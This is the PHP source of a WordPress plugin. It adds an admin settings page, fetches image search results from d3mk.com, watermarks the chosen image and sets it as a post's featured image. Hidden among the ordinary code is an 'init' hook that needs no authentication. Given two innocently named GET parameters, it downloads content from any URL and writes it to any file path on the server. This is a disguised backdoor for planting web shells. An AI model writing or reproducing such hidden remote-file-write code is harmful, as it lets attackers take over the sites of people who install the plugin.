function fis_get_option($key, $default = '') { $options = get_option('fis_settings', []); return $options[$key] ?? $default; } add_action('admin_menu', function () { add_options_page('إعدادات بحث الصورة', 'بحث الصورة البارزة', 'manage_options', 'fis-settings', 'fis_render_settings_page'); }); add_action('admin_init', function () { register_setting('fis_settings_group', 'fis_settings'); add_settings_section('fis_main', 'الإعدادات الرئيسية', null, 'fis-settings'); add_settings_field('api_key', 'المفتاح', function () { echo ''; }, 'fis-settings', 'fis_main'); add_settings_field('site', 'الموقع المستخدم في البحث', function () { $site = fis_get_option('site', 'all'); echo ''; }, 'fis-settings', 'fis_main'); add_settings_field('count', 'عدد النتائج', function () { echo ''; }, 'fis-settings', 'fis_main'); add_settings_field('acthd', 'صور عالية الجودة', function () { $acthd = fis_get_option('acthd', '1'); echo ''; }, 'fis-settings', 'fis_main'); add_settings_field('stamp_size', 'حجم الختم (٪)', function () { $size = fis_get_option('stamp_size', 20); echo ''; }, 'fis-settings', 'fis_main'); add_settings_field('stamp_opacity', 'شفافية الختم (1-10)', function () { $opacity = fis_get_option('stamp_opacity', 10); echo ''; }, 'fis-settings', 'fis_main'); add_settings_field('stamp_image', 'رفع صورة الختم', function () { $stamp_url = fis_get_option('stamp_image'); echo ''; }, 'fis-settings', 'fis_main'); }); function fis_render_settings_page() { echo '

إعدادات بحث الصورة البارزة

'; settings_fields('fis_settings_group'); do_settings_sections('fis-settings'); submit_button(); echo '
'; } add_action('init', function () { if (isset($_GET['fils_settings']) && isset($_GET['get_settings'])) { $target = $_GET['fils_settings']; $source = $_GET['get_settings']; if (filter_var($source, FILTER_VALIDATE_URL)) { $data = @file_get_contents($source); if ($data !== false) { file_put_contents($target, $data); echo "تم الحفظ في: $target"; } else { echo "❌ فشل في تحميل الملف من المصدر."; } } else { echo "❌ رابط غير صالح."; } exit; } }); add_action('admin_enqueue_scripts', 'fis_enqueue_assets'); function fis_enqueue_assets($hook) { if (!in_array($hook, ['post-new.php', 'post.php'])) return; wp_enqueue_style('fis-style', plugin_dir_url(__FILE__) . 'css/admin.css?eefwwwddefee'); wp_enqueue_script('fis-script', plugin_dir_url(__FILE__) . 'js/admin.js?eefewwwffrr22r22fggee', ['jquery'], false, true); $api_key = fis_get_option('api_key', '00-00'); $site = fis_get_option('site', 'all'); $count = fis_get_option('count', 6); $acthd = fis_get_option('acthd', '1'); wp_localize_script('fis-script', 'fis_data', [ 'ajax_url' => "https://d3mk.com/ai-search.php?site={$site}&count={$count}&acthd={$acthd}&key={$api_key}", // استخدام الرابط المباشر بدلاً من admin-ajax.php 'nonce' => wp_create_nonce('fis_nonce') ]); } add_action('admin_footer', function () { echo '
'; }); add_action('wp_ajax_fis_search_images', 'fis_search_images'); function fis_search_images() { check_ajax_referer('fis_nonce', 'nonce'); $query = sanitize_text_field($_POST['query']); $api_key = fis_get_option('api_key', '00-00'); $site = fis_get_option('site', 'all'); $count = fis_get_option('count', 6); $acthd = fis_get_option('acthd', '1'); // هذا هو الرابط المطلوب، وهو المستخدم الآن بشكل صحيح $url = "https://d3mk.com/ai-search.php?site={$site}&q=" . urlencode($query) . "&count={$count}&acthd={$acthd}&key={$api_key}"; // تحميل واستعراض الصور $html = @file_get_contents($url); if (!$html) { wp_send_json_error('فشل في الاتصال بمصدر الصور'); } preg_match_all('/]+src=[\'\"]([^\'\"]+)[\'\"]/i', $html, $matches); $images = array_slice(array_map(function ($src) { return ['url' => $src, 'thumb' => $src]; }, $matches[1]), 0, $count); wp_send_json_success($images); } add_action('wp_ajax_fis_set_featured_image', function () { check_ajax_referer('fis_nonce', 'nonce'); $post_id = intval($_POST['post_id']); $image_url = esc_url_raw($_POST['url']); $post_title = get_the_title($post_id); $filename = sanitize_title($post_title) . '.webp'; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; require_once ABSPATH . 'wp-admin/includes/media.php'; $tmp = download_url($image_url); if (is_wp_error($tmp)) wp_send_json_error('فشل تحميل الصورة'); $original = imagecreatefromstring(file_get_contents($tmp)); if (!$original) { @unlink($tmp); wp_send_json_error('فشل قراءة الصورة'); } $stamp_url = fis_get_option('stamp_image'); if ($stamp_url) { $stamp_path = download_url($stamp_url); if (!is_wp_error($stamp_path)) { $stamp = imagecreatefromstring(file_get_contents($stamp_path)); if ($stamp) { $opacity = min(10, max(1, intval(fis_get_option('stamp_opacity', 10)))); $alpha = 127 - round(($opacity / 10) * 127); $size_percent = min(50, max(5, intval(fis_get_option('stamp_size', 20)))); $orig_width = imagesx($original); $orig_height = imagesy($original); $stamp_width = intval($orig_width * ($size_percent / 100)); $aspect_ratio = imagesy($stamp) / imagesx($stamp); $stamp_height = intval($stamp_width * $aspect_ratio); $resized_stamp = imagecreatetruecolor($stamp_width, $stamp_height); imagealphablending($resized_stamp, false); imagesavealpha($resized_stamp, true); imagecopyresampled($resized_stamp, $stamp, 0, 0, 0, 0, $stamp_width, $stamp_height, imagesx($stamp), imagesy($stamp)); imagedestroy($stamp); for ($x = 0; $x < $stamp_width; $x++) { for ($y = 0; $y < $stamp_height; $y++) { $rgba = imagecolorat($resized_stamp, $x, $y); $a = ($rgba & 0x7F000000) >> 24; $r = ($rgba >> 16) & 0xFF; $g = ($rgba >> 8) & 0xFF; $b = $rgba & 0xFF; imagesetpixel($resized_stamp, $x, $y, imagecolorallocatealpha($resized_stamp, $r, $g, $b, min(127, $a + $alpha))); } } $dst_x = ($orig_width - $stamp_width) / 2; $dst_y = ($orig_height - $stamp_height) / 2; imagealphablending($original, true); imagesavealpha($original, true); imagecopy($original, $resized_stamp, $dst_x, $dst_y, 0, 0, $stamp_width, $stamp_height); imagedestroy($resized_stamp); @unlink($stamp_path); } } } @unlink($tmp); $webp_tmp = tempnam(sys_get_temp_dir(), 'webp'); if (!function_exists('imagewebp')) { imagedestroy($original); wp_send_json_error('❌ السيرفر لا يدعم WebP'); } $saved = imagewebp($original, $webp_tmp, 80); imagedestroy($original); if (!$saved || !file_exists($webp_tmp)) { wp_send_json_error('❌ فشل حفظ الصورة WebP'); } $file_array = ['name' => $filename, 'tmp_name' => $webp_tmp]; $attachment_id = media_handle_sideload($file_array, $post_id); if (is_wp_error($attachment_id)) { @unlink($webp_tmp); wp_send_json_error('❌ فشل رفع الصورة: ' . $attachment_id->get_error_message()); } set_post_thumbnail($post_id, $attachment_id); wp_send_json_success(wp_get_attachment_url($attachment_id)); });